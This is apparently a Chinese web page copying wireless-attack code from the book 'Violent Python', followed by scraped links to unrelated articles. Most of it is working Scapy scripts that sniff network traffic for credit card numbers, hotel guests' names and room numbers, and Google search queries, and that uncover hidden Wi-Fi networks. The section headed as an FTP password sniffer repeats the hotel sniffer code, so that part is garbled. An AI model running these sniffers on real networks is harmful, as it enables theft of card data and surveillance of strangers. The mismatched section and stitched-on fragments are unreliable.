《Python绝技:运用Python成为顶级黑客》 用Python进行无线网络攻击
PyWifl 模块寻找wifi来源
# -*- coding: UTF-8 -*-
import pywifi def bies():
wifi=pywifi.PyWiFi()#创建一个无限对象
ifaces=wifi.interfaces()[0]#取一个无线网卡
ifaces.scan()#扫描
bessis=ifaces.scan_results()
for i in range(len(bessis)):
print(bessis[i].ssid, bessis[i].signal) bies()
Wifl 侦听模块
import os
from scapy.all import * iface = "en0" os.system("/usr/sbin/iwconfig " + iface + " mode monitor") # Dump packets that are not beacons, probe request / responses
def dump_packet(pkt):
if not pkt.haslayer(Dot11Beacon) and \
not pkt.haslayer(Dot11ProbeReq) and \
not pkt.haslayer(Dot11ProbeResp):
print(pkt.summary()) if pkt.haslayer(Raw):
print(hexdump(pkt.load))
print("\n") while True:
for channel in range(1, 14):
os.system("/usr/sbin/iwconfig " + iface + \
" channel " + str(channel))
print("Sniffing on channel " + str(channel)) sniff(iface=iface,
prn=dump_packet,
count=10,
timeout=3,
store=0)
用Scapy测试无线网卡的嗅探功能
测试嗅探无线网络的代码
#!/usr/bin/python
#coding=utf-8
from scapy.all import * def pktPrint(pkt):
if pkt.haslayer(Dot11Beacon):
print '[+] Detected 802.11 Beacon Frame'
elif pkt.haslayer(Dot11ProbeReq):
print '[+] Detected 802.11 Probe Request Frame'
elif pkt.haslayer(TCP):
print '[+] Detected a TCP Packet'
elif pkt.haslayer(DNS):
print '[+] Detected a DNS Packet' conf.iface = 'wlan0mon'
sniff(prn=pktPrint)
使用Python正则表达式嗅探信用卡信息
3种常用的信用卡:Visa、MasterCard和American Express。
#!/usr/bin/python
#coding=utf-8
import re def findCreditCard(raw):
# American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)
if americaRE:
print '[+] Found American Express Card: ' + americaRE[0] def main():
tests = []
tests.append('I would like to buy 1337 copies of that dvd')
tests.append('Bill my card: 378282246310005 for \$2600')
for test in tests:
findCreditCard(test) if __name__ == '__main__':
main()
接着就加入Scapy来嗅探TCP数据包实现嗅探功能:
#!/usr/bin/python
#coding=utf-8
import re
import optparse
from scapy.all import * def findCreditCard(pkt):
raw = pkt.sprintf('%Raw.load%')
# American Express信用卡由34或37开头的15位数字组成
americaRE = re.findall('3[47][0-9]{13}', raw)
# MasterCard信用卡的开头为51~55,共16位数字
masterRE = re.findall('5[1-5][0-9]{14}', raw)
# Visa信用卡开头数字为4,长度为13或16位
visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw) if americaRE:
print '[+] Found American Express Card: ' + americaRE[0]
if masterRE:
print '[+] Found MasterCard Card: ' + masterRE[0]
if visaRE:
print '[+] Found Visa Card: ' + visaRE[0] def main():
parser = optparse.OptionParser('[*]Usage: python creditSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Credit Card Sniffer.'
sniff(filter='tcp', prn=findCreditCard, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()
嗅探宾馆住客
#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0]) + ', Room #' + str(room[0]) def main():
parser = optparse.OptionParser('[*]Usage: python hotelSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Hotel Guest Sniffer.'
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()
编写谷歌键盘记录器:
Google搜索,由“q=”开始,中间是要搜索的字符串,并以“&”终止,字符“pg=”后接的是上一个搜索的内容。
#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGoogle(pkt):
if pkt.haslayer(Raw):
payload = pkt.getlayer(Raw).load
if 'GET' in payload:
if 'google' in payload:
r = re.findall(r'(?i)\&q=(.*?)\&', payload)
if r:
search = r[0].split('&')[0]
search = search.replace('q=', '').replace('+', ' ').replace('%20', ' ')
print '[+] Searched For: ' + search def main():
parser = optparse.OptionParser('[*]Usage: python googleSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Google Sniffer.'
sniff(filter='tcp port 80', prn=findGoogle)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()
嗅探FTP登录口令:
#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import * def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0]) + ', Room #' + str(room[0]) def main():
parser = optparse.OptionParser('[*]Usage: python hotelSniff.py -i <interface>')
parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
(options, args) = parser.parse_args() if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface try:
print '[*] Starting Hotel Guest Sniffer.'
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0) if __name__ == '__main__':
main()
侦听无线 802.11 Probe请求
#!/usr/bin/python
#utf-8
from scapy.all import * interface = 'wlan0mon'
probeReqs = [] def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print '[+] Detected New Probe Request: ' + netName sniff(iface=interface, prn=sniffProbe)
寻找隐藏网络的802.11信标
def sniffDot11(p):
if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: with MAC:' + addr2
hiddenNets.append(addr2)
找出隐藏的802.11网络的网络名
#!/usr/bin/python
#coding=utf-8
import sys
from scapy import * interface = 'wlan0mon'
hiddenNets = []
unhiddenNets = [] def sniffDot11(p):
if p.haslayer(Dot11ProbeResp):
addr2 = p.getlayer(Dot11).addr2
if (addr2 in hiddenNets) & (addr2 not in unhiddenNets):
netName = p.getlayer(Dot11ProbeResp).info
print '[+] Decloaked Hidden SSID : ' + netName + ' for MAC: ' + addr2
unhiddenNets.append(addr2) if p.haslayer(Dot11Beacon):
if p.getlayer(Dot11Beacon).info == '':
addr2 = p.getlayer(Dot11).addr2
if addr2 not in hiddenNets:
print '[-] Detected Hidden SSID: with MAC:' + addr2
hiddenNets.append(addr2) sniff(iface=interface, prn=sniffDot11)
《Python绝技:运用Python成为顶级黑客》 用Python进行无线网络攻击的更多相关文章
- 《Python绝技:运用Python成为顶级黑客》 Python实用小工具
		
1.实现简单探测 使用socket模块,connect()方法建立与指定IP和端口的网络连接:revc(1024)方法将读取套接字中接下来的1024B数据 mport socket import sy ...
 - python绝技:运用python成为顶级黑客|中文pdf完整版[42MB|网盘地址附提取码自行提取|
		
Python 是一门常用的编程语言,它不仅上手容易,而且还拥有丰富的支持库.对经常需要针对自己所 处的特定场景编写专用工具的黑客.计算机犯罪调查人员.渗透测试师和安全工程师来说,Python 的这些 ...
 - Python 绝技 —— TCP服务器与客户端
		
i春秋作家:wasrehpic 0×00 前言 「网络」一直以来都是黑客最热衷的竞技场.数据在网络中肆意传播:主机扫描.代码注入.网络嗅探.数据篡改重放.拒绝服务攻击……黑客的功底越深厚,能做的就越多 ...
 - Python 绝技 —— UDP 服务器与客户端
		
i春秋作家:wasrehpic 0x00 前言 在上一篇文章「Python 绝技 —— TCP 服务器与客户端」中,介绍了传输层的核心协议 TCP ,并运用 Python 脚本的 socket 模块演 ...
 - Python爆火的原因与未来|内附Python学习书籍大礼包无偿领取|
		
从12年到20年,python以肉眼可见的趋势超过了java,成为了当今It界人人皆知的编程语言. python为什么这么火? 网络编程语言搜索指数 适合初学者 Python具有语法简单.语句清晰的特 ...
 - Python高手之路【一】初识python
		
Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...
 - 跟着老男孩教育学Python开发【第一篇】:初识Python
		
Python简介 Python前世今生 Python的创始人为吉多·范罗苏姆(Guido van Rossum).1989年的圣诞节期间,吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解 ...
 - 【Python五篇慢慢弹】数据结构看python
		
数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...
 - python之最强王者(2)——python基础语法
		
背景介绍:由于本人一直做java开发,也是从txt开始写hello,world,使用javac命令编译,一直到使用myeclipse,其中的道理和辛酸都懂(请容许我擦干眼角的泪水),所以对于pytho ...
 - Python之路3【第一篇】Python基础
		
本节内容 Python简介 Python安装 第一个Python程序 编程语言的分类 Python简介 1.Python的由来 python的创始人为吉多·范罗苏姆(Guido van Rossum) ...
 
随机推荐
- C#中int? 转换为 int 型
			
用 “ var a= zongfen.Score;”
 - PL/Sql快速执行 insert语句的.sql文件
			
当全是 insert语句的.sql文件太大时(insert 语句条数太大),直接打开执行sql文件,pl/sql会卡死. 这是可以用pl/sql的命令窗口来执行.sql文件,操作步骤如下: 1.新建命 ...
 - requestFullscreen()事件全屏不好使怎么解决
			
标明:我在360和火狐中全屏requestFullscreen()事件不好使: 解释:我后来发现我的页面是在iframe框架中使用的并且没有设置allowfullscreen="true&q ...
 - 七大排序的个人总结(二) 归并排序(Merge
			
七大排序的个人总结(二) 归并排序(Merge 归并排序(Merge Sort): 归并排序是一个相当“稳定”的算法对于其它排序算法,比如希尔排序,快速排序和堆排序而言,这些算法有所谓的最好与最 ...
 - 201621123008 《Java程序设计》第五周学习总结
			
1. 本周学习总结 1.1 写出你认为本周学习中比较重要的知识点关键词 关键词:接口,内部类. 1.2 尝试使用思维导图将这些关键词组织起来.注:思维导图一般不需要出现过多的字. 1.3 可选:使用常 ...
 - js父子窗口传值以及当前页面在js前台如何获得url参数
			
1.首先是父页面用window.open打开窗口 <%@ Page Language="C#" AutoEventWireup="true" CodeBe ...
 - maven使用感受
			
第一次接触的时候,什么都不懂,感觉好复杂. 后来系统地看了一个使用教程: 简单评价一下: 自动帮我们下载jar架包,还有就是可以执行命令自己部署到远程服务器上面去. 缺点: 学习成本.一般人不了解.第 ...
 - 让QQ好友现形
			
方法一 现在使用QQ的朋友,越来越注重保护自己的个人信息,如果对方将个人资料设置为保密你就无法看到对方的资料了,而这位好友如果又有着不断变换昵称的不良习惯,那么随着QQ好友名单的不断增加,时间一长,你 ...
 - 2018.09.17 bzoj1260: [CQOI2007]涂色paint(区间dp)
			
传送门 区间dp简单题啊. 很显然用f[l][r]f[l][r]f[l][r]表示把区间[l,r][l,r][l,r]按要求染好的代价. 这样可以O(n)O(n)O(n)枚举断点转移了啊. 显然如果断 ...
 - C++之类和对象的使用(二)
			
析构函数 析构函数的作用并不是删除对象,而是在撤销对象占用的内存之前完成一系列清理工作,使这部分内存可以被程序分配给新对象使用.对象生命周期结束,程序就自动执行析构函数来完成这些工作. 析构函数是一种 ...